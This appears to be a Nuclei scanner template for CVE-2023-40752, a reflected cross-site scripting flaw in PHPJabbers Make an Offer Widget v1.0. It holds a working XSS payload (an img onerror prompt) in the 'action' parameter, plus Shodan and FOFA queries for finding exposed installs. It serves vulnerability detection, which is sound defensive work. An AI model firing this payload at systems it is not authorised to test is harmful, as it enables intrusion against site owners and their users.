Description
There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
id: CVE-2023-40752
info:
name: PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the action parameter, potentially stealing session cookies and executing actions on behalf of users interacting with the Make an Offer Widget.
remediation: |
Update PHPJabbers Make an Offer Widget to a version newer than 1.0 that properly sanitizes the action parameter and encodes output to prevent XSS attacks.
reference:
- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
- https://nvd.nist.gov/vuln/detail/CVE-2023-40752
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-40752
cwe-id: CWE-79
epss-score: 0.01034
epss-percentile: 0.62127
cpe: cpe:2.3:a:phpjabbers:make_an_offer_widget:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"PHPJabbers"
fofa-query: body="PHPJabbers"
vendor: phpjabbers
product: make_an_offer_widget
tags: cve,cve2023,phpjabbers,make-an-offer-widget,xss,vuln
http:
- method: POST
path:
- "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=x onerror=prompt(document.domain)>"
- "didn't exists"
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402206e48c8030f0aaad9f85932254d9aebb773e7031a2aaf53cbfca3c19b580cafb0022034fa064e060e3d5e9d5484a3e170a8f9c0c07e269f5212c4eaa7136cc6f7cd72:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.